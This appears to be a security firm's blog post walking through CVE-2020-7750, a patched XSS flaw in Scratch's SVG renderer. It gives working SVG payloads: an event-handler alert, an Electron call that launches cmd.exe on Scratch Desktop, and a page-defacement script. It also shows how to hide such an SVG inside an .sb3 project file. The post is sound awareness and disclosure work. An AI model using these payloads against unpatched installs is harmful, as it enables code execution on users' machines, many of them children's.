Note that this blog post is for educational purposes only and to raise awareness on SVG security and untrusted data. The vulnerability was patched in October 2020, 8 months before this publication.

TL;DR

Scratch is an open-source programming language and has more than 70 million registered users across 150 countries. It is commonly used as an educational tool for students to create games, animations and stories.

A vulnerability existed in Scratch and Scratch Desktop versions prior to v.3.17.1 that an attacker could exploit to execute arbitrary code. The exploit utilises a maliciously crafted SVG file that grants an attacker full control of Scratch’s code and GUI, and enables us to launch arbitrary executables on the system if running on Scratch Desktop.

Using Scratch as a practical example, this post will demonstrate why you shouldn’t open or download files from untrusted parties, even for a seemingly innocent program such as Scratch. It will also show some of the security pitfalls of the SVG file format.

Screenshot of exploiting Scratch

Some background - What is Scratch?

Scratch is an open-source MIT developed programming language and tool for block-based visual programming. It is primarily made for children between the age of 8-16, but enables anyone to easily create interactive stories, games and animations.

Schools and educational institutions use Scratch as an introduction to algorithmic and creative thinking, as Scratch's intuitive user interface makes it a good tool to start learning programming. You can start using the tool right away from Scratch’s official website, host it yourself or download and use their Electron based desktop version.

The vulnerability in question

I recently came across a known security vulnerability in Scratch's SVG rendering engine that was disclosed on Scratch's official forums on October 21st 2020 by the forum user apple502j. The forum thread describes a cross-site scripting (XSS) vulnerability with the Common Vulnerability and Exposures (CVE) ID of CVE-2020-7750.

Curious as I am, I immediately started looking for public exploits using common search engines and the Exploit Database. Though I couldn’t find one, the forum post does link to the source of the patch while Snyk's vulnerability listing mentions the vulnerable functions and provides a link to the commit for the patch. Armed with this information it shouldn't be too hard to create an exploit for the vulnerability.

My main motivation for publishing this information is to raise awareness. The following post demonstrates that you must never download and open files from untrusted parties, even for innocent programs such as Scratch. Developers should also beware the security pitfalls of the SVG file format.

A patch for the exploited vulnerability was released more than seven months ago making it less likely to be abused today. On that note, I would like to add a reminder to always make sure you keep your software up to date with the latest security patches and be careful with files of unknown origin.

What makes the SVG file format potentially dangerous?

Some very basic knowledge on the Scalable Vector Graphics (SVG) file format is required to understand this exploit.

SVG is a text based file format for computer graphics based on Extensible Markup Language (XML) that is widely used within the Scratch environment. While more traditional image formats like JPG or PNG consist of binary data, SVG is text based, which means that the file itself consists of human readable text.

If you download the mnemonic logo from our webpage and open the file in a text editor, you reveal its true content:

Screenshot of mnemonic logo in text editor

Modifying the content (right) in your text editor will change how your web browser will render the logo (left). Altering one of the color codes will change some color in the rendered image.

But what makes the SVG file format potentially dangerous? The answer is perhaps surprising - SVG files can contain JavaScript, CSS and load external content. A true security nightmare if you don't tread carefully.

You can add the following snippet to the SVG file above in order to display a popup alert when rendering the image:

<script>alert('Game over!');</script>
Screenshot of working exploit

Uploading similar "malicious" SVG files to web-based solutions that do not properly sanitise and validate the SVG contents may cause security issues in web-based applications.

Scratch has its own SVG rendering engine and the vulnerability we exploit resides within this component of Scratch.

Using Javascript and XSS with malicious intent

JavaScript (JS) is considered one the core technologies of modern web sites. It's a client side scripting language that enables dynamic functionality in web sites. Most modern web sites rely on JavaScript and disabling support for JavaScript in your web browser will likely leave you with a poor browsing experience.

JavaScript is powerful as it can alter the contents of the current web page, perform generic computation and communicate with third-parties. In other words; control JavaScript and you control the user's entire experience.

Cross-site scripting (XSS) vulnerabilities enable attackers to inject and execute arbitrary client-side JavaScript in to web pages accessible by other users. For example by uploading our modified SVG image above to a third party website and making the “Game over” popup appear after loading the image. You then have an XSS proof of concept attack.

The innocent alert can potentially be replaced with any JavaScript you want. For example a key logger, a site redirector or any arbitrary functionality. Imagine a social media platform with a XSS vulnerability; a threat actor that has managed to inject a JS payload may eavesdrop on all you and your friends posts and perhaps perform actions on your behalf.

XSS can also be user together with tools such as the browser exploitation framework (BeEF) to trick users into downloading malicious executables and compromise their clients.

Investigation the vulnerability

The first thing you need to explore a vulnerability is a copy of the vulnerable target. Ideally, a local copy so you can do what you want without interfering with live solutions.

A friendly reminder: never attempt to exploit a third party's system(s) without getting a written approval in advance, or you may face legal consequences.

The official Scratch website does not include a complete list of previous versions, so cherry picking a vulnerable desktop version prior to 3.17.1 requires a bit more effort. You can grab the source code of a specific release (tag) from the official Git repository and build it yourself. Or you can do as I did and guess the download URL of a previous version that still seems to be active.

You can download Scratch Desktop version 3.10.2 for Windows here. If this link stops working, try the cached Web Archive version instead. Browsing the Web Archive for other vulnerable versions may also be a feasible approach. The SHA256 checksum of the linked executable should be:

038a1cf7024c12d9667979219dc2c5c434b9b87aceb359042c5f26642b13cbe

The last step is to install the software. Remember that this is outdated and vulnerable software, so you should never install it on personal or business critical systems; doing so will put your equipment and data at risk. I recommend installing it in an isolated environment, like a virtual machine (VM) or some other virtualised environment.

Screenshot of Scratch installed

Initial (failed) attempt

I prefer to save time if I can, so my initial idea was to upload our modified SVG above and hope that I hit the vulnerable code path:

I expected to see the same alert pop-up that we saw earlier. Unfortunately, no dice! Seems like we have to dig into the source code.

Static code analysis

Snyk mentions the functions loadString and _transformMeasurements in Scratch's SVG renderer. Looking at the commit for the patch indicates that the vulnerability lays within src/svg-renderer.js on line 372. We need to somehow manipulate our SVG file into hitting this vulnerable code path and execute our payload.

Let's download this source code repository and investigate the source prior to the patch. Here using Git Bash for Windows:

mnemonic@scratch-vm MINGW64 ~
$ git clone "https://github.com/LLK/scratch-svg-renderer.git"
Cloning into 'scratch-svg-renderer'...
remote: Enumerating objects: 1692, done.
remote: Counting objects: 100% (72/72), done.
remote: Compressing objects: 100% (61/61), done.
remote: Total 1692 (delta 43), reused 21 (delta 11), pack-reused 1620
Receiving objects: 100% (1692/1692), 696.02 KiB | 628.00 KiB/s, done.
Resolving deltas: 100% (1179/1179), done.

mnemonic@scratch-vm MINGW64 ~
$ cd scratch-svg-renderer/

mnemonic@scratch-vm MINGW64 ~/scratch-svg-renderer (develop)

$ git log –p

...

Using git log we can investigate the commits surrounding the patch (9ebf57588a). Note that you can search within git log using forward slash (/). Commit 16974b462c0, which is two commits earlier, seems like a good candidate as there's no SVG sanitisation in the commit contents.

mnemonic@scratch-vm MINGW64 ~
$ git checkout '16974b462c0'
...
HEAD is now at 16974b4 Add empty onFinish callback

Opening the file and looking at the contents and surrounding comments of the vulnerable _transformMeasurements function, I notice that the function itself seems to be some sort of code "hack" to retrieve the true measurements of the loaded SVG. The source code (blindly) clones the SVG, appends it to the document body ("display window"), retrieves its measurements and removes the clone from the document body:

_transformMeasurements () {
...
const svgSpot = document.createElement('span');
....
const tempTag = this._svgTag.cloneNode(/* deep */ true);
let bbox;
try {
svgSpot.appendChild(tempTag);
document.body.appendChild(svgSpot);
// Take the bounding box.
bbox = tempTag.getBBox();
} finally {
// Always destroy the element, even if, for example, getBBox throws.
document.body.removeChild(svgSpot);
svgSpot.removeChild(tempTag);
...

The code looks vulnerable upon first sight and Mozilla's documentation on cloneNode indicates that the SVG is cloned as is, without being sanitised. Our previous attempt at exploitation did not hit this code, as nothing happened upon loading our malicious SVG.

We need to figure out how to reach this code path by looking for code that calls the _transformMeasurements function. Searching the source code with Git Bash for Windows:

mnemonic@scratch-vm MINGW64 ~/scratch-svg-renderer ((16974b4...))
$ grep -riIn '_transformMeasurements' ./*
./src/svg-renderer.js:104: this._transformMeasurements();
./src/svg-renderer.js:109: this._transformMeasurements();
./src/svg-renderer.js:360: _transformMeasurements () {

We can see that the function is called on line 104 and 109 in ./src/svg-renderer.js. These calls are both within the loadString function, which is also mentioned by Snyk. Let's dig into this function:

loadString (svgString, fromVersion2) {
...
const parser = new DOMParser();
svgString = fixupSvgString(svgString);
this._svgDom = parser.parseFromString(svgString, 'text/xml');
...
this._svgTag = this._svgDom.documentElement;
...
if (fromVersion2) {
// Transform all text elements.
this._transformText();
// Transform measurements.
this._transformMeasurements();
// Fix stroke roundedness.
this._setGradientStrokeRoundedness();
} else if (!this._svgTag.getAttribute('viewBox')) {
// Renderer expects a view box.
this._transformMeasurements();
} else if (!this._svgTag.getAttribute('width') || !this._svgTag.getAttribute('height')) {
...

One of two conditions needs to be met in order for the vulnerable _transformMeasurements function to be called. The first condition, if (fromVersion2), is true if the fromVersion2 variable contains a value that evaluates to true. This variable is externally provided to the function and is difficult to determine how to control at this point.

Second (failed) attempt

The second condition is more promising; else if (!this._svgTag.getAttribute('viewBox')). Notice the exclamation mark (!), which means not in JavaScript. The not reverses the result of the preceding statement, which checks for the presence of the viewBox attribute in the initial svg tag of the file.

The condition can be written in English as call _transformMeasurements if the SVG is missing the viewBox attribute. This is interesting!

Looking at the content of our previously modified SVG, we notice that the viewBox attribute is clearly present:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 135.97 25.19"><script>alert('Game over!');</script><defs>...

It's immediately tempting to remove the attribute from the file and retry our payload, but if you looked clearly at the code above you may have noticed the DOMParser and call to fixupSvgString. I suspect our trivial payload may be sanitised by these.

I read the DOMParser documentation and ran some local JavaScript experiments using the console of the embedded web developer tools in my browser to verify that this function only converts a text string to HTML DOM elements, not tinkering with our payload.

However, the fixupSvgString function residing in src/fixup-svg-string.js removes our script content from the SVG:

module.exports = function (svgString) {
...
// Empty script tags and javascript executing
svgString = svgString.replace(/<script[\s\S]*>[\s\S]*<\/script>/, '<script></script>');
return svgString;
};

Event handlers to the rescue

So, how can we execute arbitrary JavaScript within our malicious SVG when script contents are stripped?

The answer is through event handlers. SVGs can contain image tags to include external raster images. This tag supports the onload and onerror event handlers, among others. We can use this to change our payload to the following:

<image href="http://127.0.0.1:8765/doesNotExist.png" onerror="alert('Pwned by mnemonic!')" />

The snippet attempts to load a picture (doesNotExist.png) from a web server hopefully not running on your local machine (127.0.0.1) at port 8765. The intention is to make this load operation fail, so that the malicious onerror event handler is triggered, executing our arbitrary JavaScript code.

Our entire SVG file will then look like this:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image href="http://127.0.0.1:8765/doesNotExist.jpg" onerror="alert('Pwned by mnemonic!')" />
<defs>
<style>.cls-1{fill:#e6e7e8;}.cls-2{fill:url(#linear-gradient);}.cls-3{fill:url(#linear-gradient-2);}</style>
<linearGradient id="linear-gradient" x1="118.41" y1="2.81" x2="124.17" y2="8.57" gradientUnits="userSpaceOnUse">
<stop offset="0" stop-color="#808285"/>
<stop offset="1" stop-color="#e6e7e8"/>
</linearGradient>
<linearGradient id="linear-gradient-2" x1="116.73" y1="2.24" x2="132.03" y2="2.24"
gradientUnits="userSpaceOnUse">
<stop offset="0" stop-color="#ef6035"/>
<stop offset="1" stop-color="#ff8200"/>
</linearGradient>
</defs>
<title>Asset 3</title>
<g id="Layer_2" data-name="Layer 2">
<g id="Layer_1-2" data-name="Layer 1">
<path class="cls-1" d="M32.68,13c2,0,2.92,1.06,2.92,3.34v8.45h3.24V15.44c0-3.43-1.81-5.4-5-5.4a5,5,0,0,0-4.67,2.56l-.25.51V10.44H25.78V24.78H29V16.53A3.34,3.34,0,0,1,32.68,13Z"/>
<path class="cls-1" d="M106.69,13c2,0,2.92,1.06,2.92,3.34v8.45h3.24V15.44c0-3.43-1.81-5.4-4.95-5.4a5,5,0,0,0-.68,2.56l-.24.51V10.44H99.79V24.78H103V16.53A3.35,3.35,0,0,1,106.69,13Z"/>
<path class="cls-1" d="M55.72,17.31c0-4.35-2.81-7.27-7-7.27s-7.27,3.14-7.27,7.64,3,7.51,7.62,7.51a7.67,7.67,0,0,0,6.11-2.68l-1.92-1.88a5.25,5.25,0,0,1-4.08,1.77,4.1,4.1,0,0,1-4.43-3.72l0-.15H55.65A10.21,10.21,0,0,0,55.72,17.31Zm-11-1a3.82,3.82,0,0,1,4-3.46,3.44,3.44,0,0,1,3.72,3.45Z"/>
<path class="cls-1" d="M74.51,13c1.83,0,2.68,1,2.68,3.29v8.5h3.25V15.42C80.44,12,78.69,10,75.66,10a5.15,5.15,0,0,0-4.88,2.76l-.12.29-.12-.3A4.28,4.28,0,0,0,66.28,10a4.86,4.86,0,0,0-4.51,2.54l-.24.49V10.44H58.34V24.78h3.24V16.51A3.25,3.25,0,0,1,65.07,13c1.83,0,2.68,1,2.68,3.29v8.5H71V16.51A3.27,3.27,0,0,1,74.51,13Z"/>
<path class="cls-1" d="M16.17,13c1.83,0,2.68,1,2.68,3.29v8.5h3.24V15.42C22.09,12,20.35,10,17.32,10a5.15,5.15,0,0,0-4.88,2.76l-.13.29-.11-.3A4.29,4.29,0,0,0,7.93,10a4.84,4.84,0,0,0-4.5,2.54l-.25.49V10.44H0V24.78H3.24V16.51A3.25,3.25,0,0,1,6.73,13c1.83,0,2.68,1,2.68,3.29v8.5h3.24V16.51A3.27,3.27,0,0,1,16.17,13Z"/>

<path class="cls-1" d="M90.25,10a7.32,7.32,0,0,0-7.56,7.58,7.56,7.56,0,1,0,15.12,0A7.32,7.32,0,0,0,90.25,10Zm0,12.22c-2.53,0-4.23-1.86-4.23-4.64S87.72,13,90.25,13s4.24,1.88,4.24,4.66S92.78,22.26,90.25,22.26Z"/>
<polygon class="cls-1" points="116.7 9.86 116.7 24.78 119.94 24.78 119.94 12.19 116.7 9.86"/>
<path class="cls-1" d="M133.29,19.77a3.83,3.83,0,0,1-3.56,2.42c-2.55,0-4.2-1.82-4.2-4.64s1.65-4.63,4.2-4.63a3.78,3.78,0,0,1,3.56,2.39L136,13.83A6.66,6.66,0,0,0,129.53,10c-4.31,0-7.33,3.12-7.33,7.58s3,7.56,7.33,7.56a6.66,6.66,0,0,0,6.41-3.85Z"/>
<polygon class="cls-2" points="123.43 4.48 123.43 9.31 116.73 4.49 123.43 4.48"/>
<polygon class="cls-3" points="132.03 4.49 116.73 4.49 116.73 0 125.83 0 132.03 4.49"/>
</g></g></svg>

Note that I have removed the viewBox attribute of the opening <svg> tag.

The result? Success! Our “Game Over” popup appears after loading the SVG into Scratch.

screenshot of successful test

Leveraging the exploit

The popup proves that we're capable of running arbitrary JavaScript within the application, but how can we use it for something more powerful? The short answer is that you can replace the proof-of-concept code with any JavaScript you like. The longer answer is that you need to mind the context of the application.

There are several versions of Scratch available, and what you can do depends on which version you use. We’ll look at and exploit both the desktop and web-based versions.

The Scratch Desktop application we've been using in this blog post runs as a local application in Windows and enables more severe exploits. Scratch is still a web application under the hood, but the desktop application is built with Electron, enabling web pages to run as local desktop applications. We can take advantage of the Electron ecosystem to perform operating system calls on the host computer using the following new shortened SVG payload:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image href="http://127.0.0.1:8765/missing.png" onerror="require('electron').shell.openExternal('cmd')" />
</svg>

Screenshot of testing

This proof of concept launches a Windows terminal (cmd.exe) using the embedded Electron JavaScript library of the desktop application. XXS vulnerabilities are in practice remote code execution (RCE) vulnerabilities with Electron. The same approach can be used to execute a covert reverse shell payload easily generated with tools such as msfvenom. This would allow an attacker to take control over the host computer.

The web browser version, similar to the one hosted on the official Scratch website, does not allow your script to do anything more than JavaScript running on a traditional website. However with that said, this presents plenty of opportunities for an attacker to further compromise the client, for example by using the BeEF framework mentioned earlier.

This last payload is intended for the web browser based version of Scratch and is made to illustrate the severity of the vulnerability even without access to calling system executables. I'm borrowing the publicly available picture of our department manager for this example, and hope he'll forgive me, and then I'll use the onload rather than the onerror event handler. This example also illustrates SVG's ability to load external content:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image href="https://www.mnemonic.no/globalassets/foto-ansatte/andreas-furuseth_1153.jpg" onload="let b = document.querySelector('body'); let h1 = document.createElement('h1'); let h2 = document.createElement('h2'); let i = document.createElement('img'); i.src = 'https://www.mnemonic.no/globalassets/foto-ansatte/andreas-furuseth_1153.jpg'; h1.innerText = 'Pwned!'; h2.innerText = 'Defaced by mnemonic!'; b.innerHTML = ''; b.appendChild(h1); b.appendChild(h2); b.appendChild(i);" /></svg>

I'll also store it in a Scratch project file for this example, to show you that the vulnerability can be hidden within seemingly innocent project files. Scratch's project files are plain zip archives that have their file extensions renamed to .sb3.

I first created a basic Scratch project, saved it, then renamed the extension to .zip and extracted its content. Then, I replaced one of the SVGs with the payload above and made a new zip file of all the files. The last step was to rename the extension into .sb3 and reload the project in Scratch. The result is shown below:

Screenshot of defaced GUI

We see that the graphical user interface is completely redrawn with contents of our choosing, including Andreas’ picture.

Closing statements

This blog post used information from a publicly known vulnerability in Scratch and Scratch Desktop to develop a functional proof of concept exploit. The intention is to raise awareness of SVG security considerations and expose the danger of untrusted files, even in "innocent" applications.

I would like to give special thanks to my colleague Kaspar Papli for his technical review of the methods and exploits used.

Developers, be careful with SVG!

Everyone, be careful with untrusted files!